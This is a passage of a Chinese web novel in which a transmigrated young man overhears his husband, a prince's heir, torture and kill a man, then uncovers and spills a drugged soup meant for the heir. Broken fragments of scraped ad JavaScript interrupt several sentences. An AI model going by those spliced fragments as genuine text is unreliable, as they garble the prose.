一会儿他看见萧烬安给他理头发,一会儿又会看见,表哥崔执简用那种“想要解救人质”,关切的目光注视自己,看得他好生心虚。 脑海里杂念过多,白照影躺在床上,翻来覆去。最终还是睡不着,披衣站起。 外屋的茸茸睡得香到流口水。 白照影没忍心打扰她,挑起帘子推开门。 世子院夜里也点着灯。 庭院里有两棵不高的海棠树,海棠花已经凋谢,青绿色的树冠遮不住满天密密麻麻的繁星,古代的生态环境好,这是前世过惯了居家生活的白照影,几乎从未欣赏过的盛景。 这点儿孩子般的好奇心暂时战胜了走夜路的恐惧。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>白照影从刚开始只敢站在庭院灯下,到慢慢挪向庭院边缘,发现一只夜行胖鸟猫头鹰,猫头鹰缓慢地扑扇翅膀,从院内飞到院外。 白照影跟出去庭院,和那只猫头鹰缩短距离。 追上了猫头鹰,并真实地见到保护动物,是种奇异的感觉。 猫头鹰不太怕人,白照影朝猫头鹰招手,想跟它玩。树上和树下,人与鸟的脑袋都各自一歪。 可这时划破黑夜,世子院外听见阵如鬼祟般凄惨的叫声。 那声音来得突然,似有谁倒抽了一口凉气。白照影吓得心脏险些停跳,他连忙躲在树后,来回张望,生怕在不经意间,视线里出现个会飘的东西。 到底还是没有,白照影渐松口气,想要立刻逃跑。 那声音又响了起来。 从不清楚的气音,变成嘶哑的哀鸣:“呼哈……呼哈……呼……” 像人,又不像人。 声音的来源,就是自己旁边的隔墙,墙那边是他没去过的地方。 白照影贴紧墙,被陡然拔高的一声尖叫,吓得绷紧呼吸,发出声音的人像杀猪似的: “殿下饶命!!!” 白照影咕嘟,吞了口口水。 那发声的人,声音只拔高那一瞬,刹那后就好像被卸干净了全身力气,再发出的不过就是些断断续续的气音。 对话是单方面压制的: “十年前,你制药害我时,可有想到今日?” “殿下——饶——饶……我……我已知……我错……” 到最后,竟连气音也弱下去。 墙内那人彻底被萧烬安折磨得断气,萧烬安道:“埋了。”墙那边就传来铁锹铲土挖土的声音。 白照影不明所以。他竭力控制着情绪,想象力却将未曾看到的虐杀场面补全。他心头阵阵惊慌,唯恐被萧烬安发现,自己竟撞破了他的秘密。 ——若激怒萧烬安,下一个死的就是自己。 白照影生怕引起隔墙那边的注意,想起萧烬安,就觉得脖子痛。 他缓慢转动脚踝,调整方向,屏住气息,距离墙边越来越远。 可是这时,他却又不慎踩中墙边一截枯枝,脚底发出声碎响,白照影浑身僵冷,果然墙那边有人做出了反应,跃出道腾飞而起的人影。 完了…… 成美越出墙外,眉目冷锐,视线来回逡巡。 白照影心里咚咚打鼓,恰好那树上落着的大个儿猫头鹰,忽闪忽闪翅膀,因为太胖,在树冠间弄得枝叶嘎巴嘎巴响。吸引走成美所有注意力,让人误以为是它在外头作祟。 成美足尖轻轻一点,又飞回墙那边去了。 空气中深浓的血腥味,让白照影捂住胸口。 白照影失魂落魄地返回庭院,脚下像踩着棉花似的,钻回房内,紧紧关闭房门,忽然被冷汗蜇得浑身刺痛,想到萧烬安襟怀间那缕雪松香,尾调总缠绕着那股化不开的铁锈气息。 是血。 后半夜白照影仍然失眠。 但纵使睡着了,思绪的主题已不再是回忆和萧烬安做戏,而变成了,萧烬安发现自己窥探,虐待自己,杀了自己。 萧烬安在梦里用不同的方式,让自己死掉一遍又一遍……他反正再也不想接近萧烬安了。 14. 是那种药 昨晚无意间听见萧烬安对人动刑的事,北屋直到正午也未打开房门。 白照影还是有些鸵鸟情结在的。 以为关起门就能躲避外界。 他魂不守舍,醒来就觉得那喊都喊不出的惨叫声,就在耳边,嘶哑的呼吸拨动空气。 茸茸自是不清楚,怎么自己睡醒一觉,少爷就跟变了个人似的:昨天当着整个白家跟殿下撒娇,今天却连门都不敢开。 因为白照影醒得晚,北屋已经错过了两餐,早晨跟中午,白照影都没吃饭。而屋内常备的零食果干,毕竟不顶正餐。 茸茸越发觉得平时胃口很好的少爷奇怪。 她凑到里屋,脑袋扒着门框,问道:“少爷昨晚跟殿下吵架了?” 茸茸印象里如果两口子吵架,就是谁也不理谁,绝食闹脾气。 白照影不想把茸茸搅进去。 有关萧烬安有虐杀倾向,他隐去不谈,咽了咽口水,想让茸茸把窗帘再拉严实一些,但却又发觉不对——他好像不能总在屋里关着。 他怕萧烬安,但,以前自己还会在哄萧烬安之余,见缝插针去花园玩,在庭院里乱转,偶尔兴头太足了,反而引得萧烬安嫌烦,让他离南屋远点。 如今这摆明了发现什么内情心虚。 白照影未免后怕连连。 赶紧哑声对茸茸道:“没吵架。你把门窗都打开,我睡醒了,该干什么干什么去。” 这个点,平时是该玩耍的。 茸茸还以为少爷真的是累了,对白照影的话不疑有他,问:“那,少爷,传不传午饭?” 白照影不太吃得下:“随便叫点就行。”不想浪费。 茸茸蹦蹦跳跳往屋外去。 汤品都是王府灶房随时备好的,就在火上煨着,点心也都是常备的几样,随时可供取用。 只是不知是否为白照影心绪不安的缘故,他觉得茸茸去了很久,得有个把时辰,很小的茸茸方才提着很大的食盒,从远到近,走走停停,最终拨开帘子在白照影跟前站定,低声道: “少爷,似乎是隋王出面,将锦衣卫的差事,硬给到世子头上。” 白照影从里屋走到外屋,抿了抿唇。 小耳报神又带回来新消息:“世子爷并不太愿意。但奴婢又听说亡母遗物什么的……少爷把青竹玉簪再次弄丢了吗?” 白照影坐下。 外屋妆镜前有个锦盒,青竹玉簪没人动过,他也很小声:“很可能是老王妃的。” “哦哦。” 茸茸点头,开启食盒。 那食盒看着很大,但里面只有两样东西,一是瓷罐汤,另外一样,是色泽金黄的棋子饼。 青花瓷罐打开时,一股浓烈的香气逸散开来,是鸡枞菌的味道。搭配滇南土鸡文火慢熬,足有满满一罐。 茸茸献宝似的推荐道:“少爷闻闻汤香不香?听说世子爷要授官了,我觉得王府下人间的风向都改变不少,我去厨房时,厨下还给您现熬鸡枞汤,用得是小侯爷探病时送的礼物呢。” 鸡枞汤在桌上冒着白气,汤头呈深浓的棕黄色,土鸡已经炖得软烂,鸡肉微微泛粉。 但白照影不吃蘑菇,早已养成习惯,前世他因病免疫系统低下,菌菇类携带的微生物,容易引起感染。 饶是鸡枞菌在现代都属于珍贵食材,可是马屁确实也拍到马蹄子上去了。 白照影看着那罐汤,拿起油乎乎的棋子饼,不知汤该怎么处理。 茸茸道:“厨下特地熬了这么多,说这食材从滇南运来不易,光是快马都能耗死几匹,让您跟世子爷都尝尝新鲜。” 这倒是提醒了白照影。 自己整个上午都没出现在萧烬安跟前,他怕引起萧烬安怀疑,是不是看到不该看的事情。这碗珍贵菌汤,正好刺探一下萧烬安,看看对方的态度,有没有跟之前差异。 白照影让茸茸盛出来半碗,待会儿留给茸茸尝鲜。 他吩咐茸茸:“去把汤送给成美,让她转交世子殿下。” 茸茸当然乐见两人有谁先低头求和,以前她不看好这桩婚事,觉得少爷会被欺负。现在她看不懂这桩婚事,大人们好奇怪。 世子偶尔会对少爷很好,大家又都怕世子,哄好世子,少爷也会滋润些。 茸茸趁热捧出瓷罐。 她走了有一回儿,白照影坐在北屋,将棋子饼咬碎,忽然想起了一件事: ……前世妈妈哄自己喝药。 前世白照影喝过太多药。 他讨厌喝药,妈妈就会把每种药片,安排个清新脱俗的来历,像是“月光树上面的露水”“圣诞老人提前给你的礼物”,每次都好像编神话似的。 可到头来,药还是药,还那么苦,还是不顶用。 因为白照影被骗喝药太多次,以至于后来不相信,知道无论怎样渲染夸张,到底不过是想让他赶紧把药喝掉而已。 ——那罐汤!!! 心念电转,白照影瞬间骇然。 依照大虞朝现在的运输条件,鸡枞菌勉强能运到上京城,再耽搁到今日,肯定不会新鲜,而王府大厨深谙食材特点,如何能说出“尝鲜”? 更何况为何要炖那么多? 又为何要炖崔执简送来的东西? 白照影突然冷汗涔涔。 早就对这本小说绝望了,人与人之间没有信任。 他拔下衣饰上一颗银珠,投进瓷碗里,再拿调羹舀了勺鸡枞汤,到窗边,映在阳光之下,仔仔细细地观察。 银珠在鸡枞汤里面泡澡。 白照影把汤勺里的汤漏出去,单看银子的反应,银珠表面泛起层油亮的浮光,没变黑。 白照影稍微松了口气。 但,好歹是个现代人,他不完全相信银子测毒,再晃了晃调羹,银珠依然锃亮。 只是……银珠底下,粘着片草本植物的破碎外壳,很小,被熬成了跟汤头同样的棕褐色。 这是什么东西? 白照影迅速在脑海过了遍,前世吃过的所有调味品: 桂皮、八角、香叶,统统对不上号。 鸡枞有明亮的香气,不应该用药材提味,况且前世他也没少吃过中药,这不是补药啊。 白照影指端似有千钧重。 他一失神,调羹砸在地上,并没摔碎,但砸中了他的脚面,将白照影唤回了神智。他用并不擅长谋划的脑袋,艰难盘算: 如果这是碗毒汤,萧烬安可能会死。 萧烬安擅长报复,这碗疑似被下料的毒汤,如果经自己的手,送到萧烬安那边,那么他必定要把仇记在自己身上。昨晚院墙那边惨死之人,正是前车之鉴。 但如果自己送得巧,萧烬安根本没发现汤里的蹊跷,当真……死了呢? 那会不会等于,自己重新得到了自由? 白照影突然感觉肩膀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有些沉重,瓷碗表面波光浮动。 他指甲挠动桌面,来回纠结。 *** 世子院,飞仙亭。 午后阳光直照,此处居高临下,光线只能穿过亭子的边缘,给亭子镶上层明亮的金边。 石桌上摆放着茸茸送来的瓷罐。罐边有两个碗。 萧烬安坐在石凳,成美捧着罐子,向外倒了些汤。棕褐色汤汁流入碗底,山菌香气扑鼻。 萧烬安连看都没看那碗。 成美映着日光仔细辨别,面容越来越沉:“禀殿下,是那种药。” 成美将碗放回石桌。 萧烬安眼里已浮起一层冷酷的杀意。 他心里莫名蜇得很,嘴上却噙笑道:“他跟许氏谈成什么条件?我死以后,许氏放他出府。还是等我彻底疯了,许氏帮他和离?” 成美低头看向足尖,觉得炎夏的飞仙亭渗冷。 萧烬安这时用指腹摩挲着碗沿。 成美余光瞧见他手腕一道比肤色较淡的伤痕。 当初世子刚为疯药所害时,误伤过许多人。最痛苦时曾经想过就此了结自己。但有老王妃遗命在前,让他珍重性命,殿下到底还是咬牙坚持至今。 世子暗中求医,单为稳定病情就花了十年,至今仍需用药。 如果这碗鸡枞汤不慎喝下去…… 世子病情加重,功亏一篑,后果不堪设想。 成美面色冰冷。 因着入北镇抚司的关系,世子搭上了许多条线,这才终于找到当年制出疯药的恶徒。那游医做出这方子,还想到个发横财的门路,卖给高门大户,作为后宅坑害人的阴私用途。 世子恨他杀他,挫骨扬灰也不为过。 然而现在,世子妃居然沾上这碗疯药的干系。 成美紧紧抿唇,不敢替谁辩解,只能看世子的表情越来越恶劣。 成安进亭匆匆禀报了声:“殿下,世子妃来了。” 飞仙亭似有无形的弦,骤然绷紧了一瞬。 成安和成美目光统统投向世子妃,见白照影姿容清丽,举止活泼,像只小白猫蹦跳在花园里。走两步停两步,像在试探,又像是在躲闪犹豫,仿佛已写在脸上的心里有鬼。 两名侍从退到亭边,恐怕美人血溅五步。 白照影不知死活地进亭子,不敢太靠近萧烬安,目光盯着那碗汤和那个罐。碗是满的,罐看不见里面。他心里惶悚,不知萧烬安到底喝下去没,迟疑地张张嘴。 却没发出“夫君”那个词语。 决定告诉萧烬安有毒,是怕担干系,更怕良心过不去。 他可以等萧烬安死,但不能杀他,他是守法好公民,对生命心怀敬畏。 白照影再一次看着那碗汤。 萧烬安则故意端起汤碗,眸中闪烁出危险的光,递给白照影道: “这碗鸡枞汤很香,为夫还没喝,你尝尝看?” 萧烬安在试探他,想看看白照影是不是蠢到能同许菘娘合作。 而白照影微凝。并不知道其中蕴藏着的杀机,只是想到如果直接揭穿汤里面有毒,那肯定瓜田李下,自己仍有洗不清的嫌疑。 思前想后,白照影有了主意,但只能先殷勤笑道:“既然夫君还没喝,我服侍夫君喝,夫君先来。” 白照影捧起瓷罐。 萧烬安露出个阴沉的笑。 两名侍从同时闭上了眼。 15. 心弦拨动 眸光锁定白照影脆弱的脖子,萧烬安想,杀死白照影,他甚至连内力都不需要使。 只需他递过来碗那时,脖子轻轻一折,颈骨当即折断。 自从母妃去世以后,多年间,也并非没有想以美人计接近害他的人,以前他统统扫地出门,唯独不慎放进来这个,看来也要死在他的掌心。 萧烬安早已养成将出手当成件习以为常的事,不是你死就是我死。 白照影上前捧起瓷罐。 萧烬安袖中翻掌! 瓷罐很烫,动作间白照影故意用力将底料摇匀,溅出来的汤汁泼溅到手背。 白照影立刻被烫得眼圈红热,皮肤骤然刺痛,瓷罐脱手砸下石桌,将瓷碗砸得粉碎,然后罐子骨碌碌滚下桌面,满地狼藉…… 两名侍从还以为是萧烬安动手。心知世子妃不成了。 可这时却听见世子妃的声音,从亭子内传到亭子外,白照影直挺挺地跪在飞仙亭请罪: “我不慎失手,请夫君惩罚。” 两名侍从同时回头。 世子妃打碎了所有疯药。溅得满身都是棕褐色的汤汁,眼尾两颊都泛着红,一边哭一边跟世子爷认错。 萧烬安胸口剧烈地起伏几瞬。 那已经抬起来的手掌,刚要动手,复又收回袖中。 他被白照影突然闹出的动静砸得耳膜刺痛,脑袋里面嗡嗡作响,隔了好半晌,脑海里的余音方才渐渐消散。他收敛回神智,看清白照影跪在一大片棕褐色汤料里,白衣满身脏污。 萧烬安眼眸轻闪了闪。 白照影紧紧攥住双手。掌背烫出两片红痕,过后泛起层半透明的水泡,白照影低头发颤。 “……”萧烬安矮身将他捞起来,白照影被迫站在萧烬安跟前。 鸡枞片、土鸡肉、滴滴答答的汤汁,全都跟随白照影的动作噼里啪啦地往下掉。 白照影生怕沾到萧烬安身上讨嫌,僵硬得跟他保持距离。 但是手烫得有点打哆嗦,他刚拧起眉梢,手腕悬空,手被放在萧烬安的掌心,再被对方修长坚硬的手掌握着,反反复复地打量。 现在的情况,骤然从世子妃下药加害世子,变成了世子妃赶来,委婉的救下世子。 两名侍从瞠目结舌,一时间,不知是该进去收拾残片,还是赶紧给世子爷搭个台阶下。 看到世子爷还捏着世子妃的手,成安福至心灵:“我去拿融雪膏。” 成美去拿换洗衣服。 碍眼的人,一个跑得比一个还快。 飞仙亭就留给两名当事人。 萧烬安眸光在白照影被烫伤处停留。 白泡里面的脓水越积越多,白照影扁着嘴,显得恐惧又不知所措。指尖在萧烬安掌心里无力地勾过。 少年的桃花甜香,让人心里莫名就轻软成片,而那一身汤汤水水的狼狈,又使得他滋味说不出的难言。 十年间有人恨他害他,有人嫌他,厌恶他,跟风嘲讽诋毁他…… 还从没有谁像白照影这样蠢,整天麻烦他,乱说喜欢他,烫伤自己,为了救他。 萧烬安拨动了根,从未被谁触碰过的弦。 这时方才后知后觉地体察到,他烦白照影,也许不完全是疯病未根除的后遗症,而是对方真的在牵动他的心神,引起萧烬安敏感的警惕。 萧烬安把白照影那只受伤的右手放下,伤口红痕犹在眼帘,而他却将人推远半尺。 世子殿下声音冷冷地说:“汤里有疯药。” 白照影心中一慌,没听说过这么直白的问法,他没法给萧烬安解释,只能硬装不知情。红着眼睛装可怜,抽了抽鼻子:“什么药?谁要害夫君?” 萧烬安有点拿不准他是否知情了。 是故意救他,还是真的笨? 二者皆有可能。 萧烬安更加直白地试探:“昨晚你在墙外,听见我处决了个人。” 白照影心头突突乱跳,眼神来回忽闪。 对方甚至都不给他装无辜的机会,字字句句,一针见血: “你害怕我,所以要杀我。下药是最好的方法,我死你就自由了。” 虽然前因后果,串联得都很准确…… 白照影牙根发软,那晚听到的惨叫声,闻见的血腥味,再度清楚地浮现。他仿佛只要再答错分毫,被残忍对待的就是自己。 白照影紧紧地闭起眼睛。 长睫毛合住,挤出两颗眼泪,噼啪砸上自己手背的烫伤,白照影肩膀骤缩。 他的脑袋瓜子,已经支持不了想出更动听的话术。 在萧烬安绵密如潮海的气势面前,他是穷途末路的猎物,纵使之前再有求生欲,被逼到这步,脑海也是一片空白。 白照影嗫嚅:“我……没。没下毒。” “本世子饮食皆需取样,你来之前,成美已将那碗汤,提前盛出些许,或许能留给你。” 狩猎的包围圈越缩越小,白照影濒临崩溃,生怕待会儿萧烬安会给他再弄出碗毒药,然后逼着他,给他灌下去。 白照影身形晃了晃,哭湿了的桃花眼,眼神开始涣散,这时再也招架不住,边哭边道: “毒汤是茸茸从公厨拿来的,我不喝汤,是因为不吃蘑菇,送给你汤,是因为它很珍贵,都不是因为汤里有毒,我根本不知道谁下的毒……” “可你却特地将汤碗打碎了。” “我觉得汤有问题,想了想,不能让你喝。” 说这句话时,他哭得急喘一阵,然后剧烈地咳嗽,胸口起伏。 萧烬安却仿佛看到朵被露水打湿的花。冷峻地捕捉白照影是否有心虚的神情。 少年面无人色,已经怕自己怕得要死。 白照影有和许氏合谋的动机,但看反应,尚且真实,又不能断定他跟许氏合作。 如果白照影仅是猜出汤有毒,就赶来提醒自己…… 萧烬安身形微僵,一瞬间神思绞紧。 而白照影却在此时软软地倒下去。 那种初来书中世界的神魂不稳,使他扛不住与萧烬安对峙,他觉得身体发虚,在打哆嗦,眼前浮现出团团黑影。 萧烬安攥住他手腕向前带,到底还是让白照影,扑了自己满怀。白照影眼睫沾着泪水,又凉又痒,仿佛直接滴进他心口。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧烬安喉结滑动。 成安成美同时回来,一人拿药,另一人手里还拿着衣裳。 两人重新回到飞仙亭,见局势又有了进一步改变。 殿下刚开始要杀世子妃,走之前改成罚世子妃,而现在,竟变成爱不释手地抱着世子妃。 姐弟俩二度瞠目结舌。 到底是觉得上意难测。 *** 世子院北屋,茸茸被撵出屋外。 成安成美把守房门,茸茸先开始还很担心,少爷这说晕就晕了。 但她看见世子在屋里没出来,屋内也没有其他怪异的动静,也就放心地在屋外抓石子,边玩边等,待抓了几圈之后,世子走了。 茸茸方才推门进屋。 少爷安安静静地躺着。 白照影仪容很整齐,已经换了衣裳,脸干干净净。手上粘着块轻柔的纱布。 茸茸还以为是少爷跟世子玩的时候,不小心受伤了,她跟小伙伴玩耍也会受伤。那既然还能在一块玩,可能两个人没闹别扭。 茸茸搬个小板凳,坐到白照影床边,轻轻摸了摸白照影受伤的手背。 这是轻容纱,包得很仔细,伤口也能透气。在白家,轻容纱是二少爷做珍贵衣服才用的料子,而在这里,世子裁它给大少爷当纱布使。 茸茸暗暗给世子爷又记了笔好。 白照影这时指尖缩回去。 他醒了。手背很痛,说明还活着。 他又看见手背包起来的烧伤,心知萧烬安信了自己的话。那到底谁在借刀杀人呢? 白照影想,许氏的嫌疑最大。 她掌家,对公厨方便伸手。 最近她更是输给萧烬安许多局,赔了名额,赔了十几箱礼物。 她给疯子下疯药,旁人也许只会认为是萧烬安疯病加重,如果能得手,并不会让人怀疑到她头上。一个彻底失去理智的隋王府世子,必定再也够不成威胁。 白照影不由漫无目的地琢磨,也许萧烬安并不是从出生起,就暴虐嗜杀躁狂的。 那会从什么时候开始呢? 耳边飘进昨日偷听到,萧烬安用刑时说的那句话: “——十年前,你制药害我时,可有想到今日?” 白照影突然眼眶潮红,咳得上气不接下气,他按住胸口,茸茸连忙拍他的后背:“少爷,少爷怎么了?咳得这么厉害,要不要叫个大夫?” 白照影缓了缓,脸庞又热又涨,可他并没顾上自己的情况,想到了件很可怕的事。 白照影抓住茸茸的手臂,断断续续地问:“你今年十一了?” 茸茸歪头,单纯的孩童模样,天真道:“是呀。” 十年前萧烬安能有几岁? 他被人下药那会儿,是否比茸茸还年幼呢? 白照影目光凝着茸茸,将茸茸看得有些奇怪。 茸茸却不知晓,他在想象十年前的萧烬安,那时他几岁?会比茸茸还矮么? 白照影靠在床头张了张右手,微微牵动伤势,泛起丝丝缕缕的痛楚。 白照影嘲笑自己胡乱地悲天悯人,叹了口气。 16. 夫妻共灶 “世子妃。” 成美的声音出现在虾须帘外,夜深才来,身影投在帘外。 她用漆盘端着饭菜,走近看了,是两碗干贝瑶柱粥、小碟青瓜莴苣,掌心大小的酥皮点心两三块,桂花山楂糕,清蒸银丝卷,爆炒肉片。 “请您用膳。” 成美放下盘子,搁在白照影床头。 白照影眼皮挑起,饭菜荤素搭配,他饿了一整天,赶紧伸手抓酥皮饼,咬了口,发觉里面不是经常吃的木樨花瓣馅儿。馅料虽同样清新适口,味道略有不同。 这是隋王府换主厨了? 成美转述世子的话:“殿下原句,世子妃今后还会被人利用,为防止被世子妃加害,从今日起您与世子共灶。” 有些主子,总把人话说成鬼话。 成美好歹找补了句:“世子院有单独的厨房,不传公厨的饭菜,所以您不必担心有毒。殿下平日无甚口腹之欲,主厨很少烤制点心,现采的茉莉花给您做饼,所以才晚了一些。” 茉莉花饼清甜可口,沁得白照影心肺俱清。 看在点心的面子,白照影决定先吃饭。 茸茸赶紧给白照影塞了口瑶柱粥,海鲜大补,能滋润一番白照影瘦弱的身体。 成美再拜告退。 白照影忽然叫住她,咽下嘴里的粥,到底还是问出了口:“你们两边分灶,是因为公厨的饭菜可能有毒?” “……” “许氏曾给世子下过毒?” 成美不说能引起争端的话,但她不否认,约莫等于认同。 白照影心口一窒:“我夫君今年多大了?” “刚行冠礼。” 十年前萧烬安不过十岁。 白照影震撼,深深地望了眼茸茸,目光锁定着茸茸的小小身体,女孩子比男孩子,同等年龄的条件下,发育还要早两年。 这也就是说,萧烬安也许发病时还没有茸茸高,是个完完全全的小朋友。 假设他童年时得到老王妃的荫蔽,如何在丧母之痛尚未消化时,再提前知晓人心险恶? 心头很不是个滋味。 白照影咽下干涩的茉莉花饼。 *** 又一日,日光朗照,清晨时刻。 南屋萧烬安的居所分内外两间,内部结构,大致与北屋相同。 沿着南屋一直向内走,有条小道,推开单扇房门,里头是两丈长宽的小院子,四面围墙,是世子萧烬安的习武场所。 兵器架陈列着不同式样的武器,冷光锃亮。 靶场需要的纵深幅度更长,所以凿开半扇砖墙,需要时把隔板拿开,就能对着墙壁练弓。 幼年时萧烬安刚疯,神智混乱,在校场时常伤人,起初不敢出现在众人面前,但又意识到荒废了武艺,会失去自保能力,就让母妃的一些亲信,帮他开辟出这片不为人知的小院。 如今萧烬安正在院里练刀。 刀身出鞘,一道清鸣。 他起刀,层层刀势密不透风,刀光形成大片清亮的刀影,绣春刀所笼罩的范围,仿佛水泼不进,声音连贯。 此时院墙外飘落进一片落叶。 叶片极小,在空中翻飞,打着旋儿的过程中,正面迎上萧烬安的刀刃,单薄树叶立刻凌空断成两半,可见刀势何等冷厉。 刀刃后露出萧烬安轮廓深邃的眼睛,他收刀入鞘。 成安这才敢探头跪在萧烬安跟前,带着笑容恭贺道:“殿下最近大喜了。” 萧烬安看着他。 成安掰手指头,一件接着一件地数:“在锦衣卫获得官职、找到制药的人、身体日渐康复……按照这个走势下去,殿下会变得越来越好。” 好这个字让萧烬安咀嚼片刻,眸光晦暗。 先发抖的却是成安,自家主子童年为了自保,边解毒边装疯,他被王府上下多年暗算,在上京名声败坏,活得好不辛苦。 以前殿下想过死,老王妃遗命却让他活。 如今殿下也许熬出了些名堂,但已被磋磨出满身颓败厌世感。不能死又不想活,对这红尘世早已没什么兴头。 变得好,能好到哪里去呢? 成安满嘴苦涩,只得换个话题道: “茉莉花饼好吃,世子妃昨儿个用了两块,早晨又吃了两块,他天天吃甜的,厨房的蔗霜自从世子妃入伙起,两天下了半罐。” 萧烬安鼻端闻见股甜香气,无意识间,将空气深吸了口。 成安又禀报道:“属下暗查完毕王府公厨,投药害人的都找到了,世子妃确实是毫不知情。是那厨子对他暗示有毒,厨子已经招了……” 他手上烧起层血泡。 萧烬安亲自给白照影包扎时,用银针颗颗把泡刺破,脓水放出方才能敷药。涂融雪膏时,封住了白照影感知外界的几处穴位。 脂膏滑腻,皮肤细致。 缠上轻容纱后,影影绰绰,指节透着淡青色的脉络,指尖泛粉,指甲莹润,亮色动人。 成安还在小心翼翼地多话,内容依旧关于白照影,萧烬安并不阻止,也许能听下去。 成安继续道:“世子妃特地赶来救您。” 萧烬安放下刀,找座椅坐下,在几句话中脑海已跳出若干个白照影: “也许怕被投毒事件牵连。” “被烫不是假的,世子百般试探,世子妃通过考验,也不是假的……” 成安说着说着,那点儿想让白照影唤回萧烬安些人味儿的意图,终于太明显。 他引起萧烬安的抵触,被萧烬安带着警告的眼神逼退。让萧烬安回忆起,自己几次三番被白照影搅得思绪不宁。 萧烬安额上浮起层汗水。 迅速给自己倒杯苦药,药水在桌上常备,就蓄在他平时所用的茶壶里。 他咽下药汁吩咐,替自己断绝未来被白照影再影响的可能: “成安。” “属下在。” “去拿纸笔。” 成安领命,笔墨立即备好,就安顿在茶壶边上。 桌面空地不大,萧烬安字迹行云流水: ——放妻书。 成安赶紧又跪下了,失声连忙道:“世子妃无过!请殿下三思!” 这是怎么回事? 明明两人好好的。明明世子抱世子妃回房,给世子妃上药,显出许多年未曾见过的温存。 可能药喝得不够,也可能痊愈前病情有反复,总之成安吓得魂不附体,这可不兴乱写的! 成安低着头想要规劝。 萧烬安却运笔流畅,放妻书已经成文。 他故意抗拒自己的无措,因为疯病,平生最厌恶失控感。 萧烬安将纸面掀起晾干,语气悠然缓慢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“白照影替嫁入府,恩怨本就与他无关。回门宴我报复够也玩够了。从此一别两宽,省得他再做出什么事引来麻烦……” 放妻书递给成安。 成安双手颤抖着接过。 纸页上面的墨字,自幼临得是王羲之的行书,只是萧烬安发病后,性情变化同样影响了书法笔体,他字迹多有棱角,部分笔画有如刀剑,透着攻击性。 萧烬安朝他摆手:“我抽空理理北镇抚司的头绪,无暇见他,找时间告诉他。” 成安只觉得这放妻书有千钧重,只怕轻易递出去,成全了世子一时痛快,到时候想再娶个世子妃可不容易: ——想找个这么漂亮的不容易,人品端正,天真烂漫,还会逗趣的更难! 成安简直为难死了,不想让世子妃走,世子的意思又不敢违拗。 他拿去问姐姐。 成美正在庭院给世子妃挑选新鲜的茉莉花瓣,世子院种植的茉莉小有规模,要做鲜花饼,还是要选开得烂漫些的,这种茉莉花味道更浓。 成美精挑细选,所以只捡了巴掌大的小半罐。看见弟弟过来,刚想招呼他没事干一起捡。 弟弟双手递上封放妻书,成美茫然地正反面各翻了几遍,没看出端倪,闹不明白世子爷这又是个什么章程,亦是微微摇头。 姐弟两个领了命,放下没摘完的茉莉花,同时站在北屋,在帘外等白照影。两人谁也没主动进。 虾须帘窸窸窣窣地闪了闪。帘影曳动,白照影在帘子里面说话,觉得烫伤应该快好了,让茸茸帮他拆纱布。 灯影纱是御赐贡品。但世子剪断它时,并没显得任何心疼。 那天决定今后跟世子妃共灶,世子随口吩咐道,让厨房烤制些鲜花饼。 上次世子这般细致时,还是十多年前,给老王妃准备生辰礼,他记得老王妃喜欢天青色。 两姐弟同时叹了口气。 帘子后面,白照影今早始终没见南屋有动静,以为萧烬安不在,于是鬼鬼祟祟探出个头。 六只眼睛相对,白照影捂住脸,以为自己被监视了,乖乖回屋里坐好。 但是帘外面的人,心也很虚,齐刷刷往后退了几步,使得白照影觉得还有打商量的余地,脑袋又冒出来道: “那个,两位高手。” “世子院有没有规定,新嫁进来的世子妃,能出去王府玩么?” “我快郁闷死了。” 世子妃想出门,那就给他收拾好,先送他出门……然后再告诉他,您无须再回王府了,这样是否可行? 暗中交换了个眼神,姐弟俩点头,这样确实不会太突兀。 于是牵好茸茸,准备马车。 马车车厢里他们暗中给世子妃收拾了一些细软。 白照影嫁进王府很匆忙,除了那根发簪,基本没置办过什么私人之物。干净的来,干净的走,像个过客。 成安驾过来马车,还是多嘴道:“世子妃怎么想到外面玩了?” 事实上,自从白照影清楚些王府阴私以后,他就不太想在王府玩耍了。 他恐惧萧烬安,现在依旧如此。 但并不代表,他能接受许氏,戕害那个堪堪十岁的萧烬安。 白照影低头看看自己的右手,烫伤表面浮起层纸片薄的白皮。 他随口敷衍道:“园林里有毒蛇。” 17. 上京逛街 成安驱车。 不多时,来到了上京城最大的集市。 大虞朝早已经度过了坊市分离的阶段,各条街道,甚至是小巷子,都会有百姓在里面进行商业活动。但是买卖最成规模的,还得数城东丰厚集。 隋王府的马车太大,行动不便,只能先行寄放在路边。 马车停步,成安在车门外喊了声“到啦”,掀开车门。 白照影迫不及待地钻出车外。 他站在车头凝滞片刻,丰厚集纵横绵延许多条街,放眼望去,只是街道的交汇口就看见了四五个。区别于他在现代见过的影视城,百姓碌碌奔波,比群众演员数量多得多。 商肆鳞次栉比。商旗招展,随风飘举。 这便是古代集市,大虞朝最热闹的地方。 白照影下车就开始转转看看,眼睛跟腿都很忙,显得十分兴奋。 逛街对于现代人是常态,却并不包括他这种现代病号。别人出街带钱就行,曾经的白照影出街,不仅要带钱带药,兜里揣着联系方式,还系着手环检测心跳。 他喜欢现在这具身体。 如今正值夏天,暑气炎热,茸茸举着小手,在后面给白照影撑伞。 白照影接过伞,沿街边给他们这一行四人,买了四盏西瓜酪,是半透明果冻状的半流体,呈晶莹的水红色,原料是西瓜汁,掺了冰沙和蔗浆。现代西瓜没这么麻烦的吃法。 茸茸跟着少爷,早就习惯了少爷不时投喂。 成安跟成美,却因为两盏西瓜酪受宠若惊。世子面冷,在他跟前,姐弟俩常常绷紧神思,世子的赏赐总是很贵重,但他们只敢谢恩,不敢表现出任何的喜悦之情。 姐弟俩吃着甜甜的西瓜酪,越发觉得放妻书很沉。 丰厚集除了吃的,还有用的。 白照影拽着茸茸,在首饰店给她挑花戴,把茸茸扎成了只闪烁的花蝴蝶。送给成美的是支绒花木兰簪,胜在精致,能衬得她气质更为清绝。 这是成美这辈子第一次,收到发饰作为礼物。老王妃在世时,她还小,没法佩戴发簪。如今世子妃送她发簪,世子妃还是个男子。虽然知道并无深意,她还是暗中脸红,喉咙发紧。 